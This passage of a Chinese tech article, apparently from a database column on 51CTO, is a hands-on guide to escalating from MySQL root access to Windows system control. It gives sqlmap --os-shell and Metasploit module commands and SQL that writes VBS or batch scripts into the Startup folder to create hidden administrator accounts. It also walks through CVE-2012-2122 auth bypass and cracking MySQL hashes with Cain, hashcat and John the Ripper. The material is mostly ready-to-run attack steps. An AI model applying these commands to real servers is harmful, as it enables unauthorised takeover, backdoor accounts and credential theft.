Sqlmap 直接連接數(shù)據(jù)庫提權(quán),需要有寫入權(quán)限和 Root 賬號(hào)及密碼,命令如下:

  • 連接數(shù)據(jù)庫:sqlmap.py -d "mysql://root:123456@219.115.1.1:3306/mysql" --os-shell
  • 選擇操作系統(tǒng)的架構(gòu),32 位操作系統(tǒng)選擇 1,64 位選擇 2
  • 自動(dòng)上傳 udf 或提示 os-shell
  • 執(zhí)行 whomai 命令如果獲取系統(tǒng)權(quán)限,則表示提權(quán)成功。

Msfudf 提權(quán):

Kali 滲透測(cè)試平臺(tái)下執(zhí)行(kali下載地址https://www.kali.org/downloads/)

 

  1. msfconsole  
  2. use exploit/windows/mysql/mysql_payload  
  3. options  
  4. set rhost 192.168.2.1  
  5. set rport 3306  
  6. set username root  
  7. set password 123456  
  8. run 0或者exploit 

msf 下 udf 提權(quán)成功率并不高,跟 windows 操作系統(tǒng)版本,權(quán)限和數(shù)據(jù)庫版本有關(guān),特別是 secure-file-priv 選項(xiàng),如果有該選項(xiàng)基本不會(huì)成功。

5、啟動(dòng)項(xiàng)提權(quán)

創(chuàng)建表并插入 vbs 腳本到表中:

依次使用以下命令

show databases ;

 

  1. use test;  
  2. show tables;  
  3. create table a (cmd text);  
  4. insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );  
  5. insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnetaspnettest/add"",0)") ;  
  6. insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators aspnet /add"",0) " );  
  7. select * from a; 

 

導(dǎo)出 vbs 腳本到啟動(dòng):

使用以下命令將剛才在 a 表中創(chuàng)建的 vbs 腳本導(dǎo)出到啟動(dòng)選項(xiàng)中

 

  1. select * from a into outfile "C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動(dòng)\\a.vbs"

導(dǎo)入成功后,系統(tǒng)重新啟動(dòng)時(shí)會(huì)自動(dòng)添加密碼為“1”且用戶名稱為“1”的用戶到管理員組中。在實(shí)際使用過程中該腳本成功執(zhí)行的幾率比較低,有時(shí)候會(huì)出現(xiàn)不能導(dǎo)出的錯(cuò)誤。

推薦使用以下腳本

 

  1. show databases ;  
  2. use test;  
  3. show tables;  
  4. create table b (cmd text);  
  5. insert into b values ("net user Aspnet123545345!* /add");  
  6. insert into b values ("net localgroup administrators Aspnet /add");  
  7. insert into b values ("del b.bat");  
  8. select * from b into outfile "C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動(dòng)\\b.bat"

 

該腳本執(zhí)行后雖然會(huì)閃現(xiàn) DOS 窗口,如果有權(quán)限導(dǎo)入到啟動(dòng)選項(xiàng)中,則一定會(huì)執(zhí)行成功,在虛擬機(jī)中通過 MySQL 連接器連接并執(zhí)行以上命令后,在“C:\Documents and Settings\All Users\「開始」菜單\程序\啟動(dòng)”目錄中會(huì)有剛才導(dǎo)出的 b.bat 腳本文件。

說明:在不同的操作系統(tǒng)中“C:\Documents and Settings\All Users\「開始」菜單\程序\啟動(dòng)”目錄文件名稱可能會(huì)不同,這個(gè)時(shí)候就要將其目錄換成相應(yīng)的目錄名稱即可。例如如果是英文版本操作系統(tǒng)則其插入的代碼為

 

  1. select * from b into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\b.bat"

Windows 2008 Server的啟動(dòng)目錄為:C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs

其 vbs 方法可以參考如下寫法

 

  1. create table a (cmd text);  
  2. insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );  
  3. insert into a values ("a=wshshell.run (""cmd.exe /c net user antian365 qwer1234!@# /add"",0) " );  
  4. insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators antian365 /add"",0) " );  
  5. select * from a into outfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs"

msf 下模塊 exploit/windows/mysql/mysql_start_up 提權(quán):       

  1. use exploit/windows/mysql/mysql_start_up  
  2. set rhost 192.168.2.1  
  3. set rport 3306  
  4. set username root  
  5. set password 123456  
  6. run 

 

msf 下 mysql_start_up 提權(quán)有一定的幾率,對(duì)英文版系統(tǒng)支持較好。

五、msf 其它相關(guān)漏洞提權(quán)

1、MySQL 身份認(rèn)證漏洞及利用(CVE-2012-2122)

當(dāng)連接 MariaDB/MySQL 時(shí),輸入的密碼會(huì)與期望的正確密碼比較,由于不正確的處理,會(huì)導(dǎo)致即便是 memcmp() 返回一個(gè)非零值,也會(huì)使 MySQL 認(rèn)為兩個(gè)密碼是相同的。也就是說只要知道用戶名,不斷嘗試就能夠直接登入 SQL 數(shù)據(jù)庫。按照公告說法大約 256 次就能夠蒙對(duì)一次。受影響的產(chǎn)品: 

  • All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞
  • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 不存在漏洞
  • MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not 不存在漏洞

use auxiliary/scanner/mysql/mysql_authbypass_hashdump

2、exploit/windows/mysql/mysql_yassl_hello

3、exploit/windows/mysql/scrutinizer_upload_exec

六、MySQL 密碼破解

1、Cain 工具破解 MySQL 密碼

使用 UltraEdit-32 編輯器直接打開 user.MYD 文件,打開后使用二進(jìn)制模式進(jìn)行查看,在 Root 用戶后面是一串字符串,選中這些字符串將其復(fù)制到記事本中,這些字符串即為用戶加密值,例如 506D1427F6F61696B4501445C90624897266DAE3。

注意:

  • root 后面的“*”不要復(fù)制到字符串中。
  • 在有些情況下需要往后面看看,否則得到的不是完整的 MYSQLSHA1 密碼,總之其正確的密碼位數(shù)是 40 位。

安裝 cain 工具,使用 cracker,右鍵單擊“Add tolist”將 MySQL Hashes 值加入到破解列表中,使用軟件中的字典、暴力破解等方式來進(jìn)行暴力破解。

2、網(wǎng)站在線密碼破解

  • cmd5.com 破解。將獲取的 MySQL 值放在 cmd5.com 網(wǎng)站中進(jìn)行查詢,MySQL 密碼一般都是收費(fèi)的;
  • somd5.com 破解。Somd5.com 是后面出現(xiàn)的一個(gè)免費(fèi)破解網(wǎng)站,每次破解需要手工選擇圖形碼進(jìn)行破解,速度快,效果好,只是每次只能破解一個(gè),而且破解一次后需要重新輸入驗(yàn)證碼。

3、Oclhash 破解

Hashcat 支持很多種破解算法,免費(fèi)開源軟件,官方網(wǎng)站 https://hashcat.net/hashcat/,破解命令

 

  1. hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323類型  
  2. hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5類型

4、John the Ripper password cracker

John the Ripper 下載地址:http://www.openwall.com/john/h/john179w2.zip,John the Ripper 除了能夠破解 linux 外,還能破解多種格式的密碼

 

  1. Echo *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B>hashes.txt  
  2. John –format =mysql-sha1 hashes.txt  
  3. john --list=formats | grep mysql //查看支持mysql密碼破解的算法  

 

責(zé)任編輯:龐桂玉 來源: 數(shù)據(jù)庫開發(fā)
相關(guān)推薦

2011-05-18 13:50:34

MySQL數(shù)據(jù)庫網(wǎng)絡(luò)安全

2020-08-07 08:04:03

數(shù)據(jù)庫MySQL技術(shù)

2021-09-15 09:51:36

數(shù)據(jù)庫架構(gòu)技術(shù)

2011-07-29 15:58:53

SGAOracle

2010-05-12 15:41:21

MySQL數(shù)據(jù)庫

2010-05-21 13:34:53

MySQL數(shù)據(jù)庫

2019-06-11 09:49:25

2011-03-10 13:19:47

Oracle數(shù)據(jù)庫

2011-08-03 17:43:53

MySQL數(shù)據(jù)庫外鍵約束

2018-07-27 18:20:31

數(shù)據(jù)庫MySQL 數(shù)據(jù)庫建表

2011-09-01 15:39:43

QT數(shù)據(jù)庫

2011-08-01 13:59:22

Oracle數(shù)據(jù)庫命名空間

2010-08-31 14:13:48

DB2數(shù)據(jù)庫

2011-07-27 15:01:48

MySQL數(shù)據(jù)庫內(nèi)存表

2011-08-25 14:50:42

SQL Server數(shù)常用操作

2021-09-07 10:12:25

分布式數(shù)據(jù)庫集群

2011-03-21 13:41:20

數(shù)據(jù)庫開發(fā)規(guī)范

2010-05-18 10:47:52

2020-07-06 14:20:43

MongoDB數(shù)據(jù)庫安全

2019-05-17 10:57:09

Mysql數(shù)據(jù)庫運(yùn)維
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)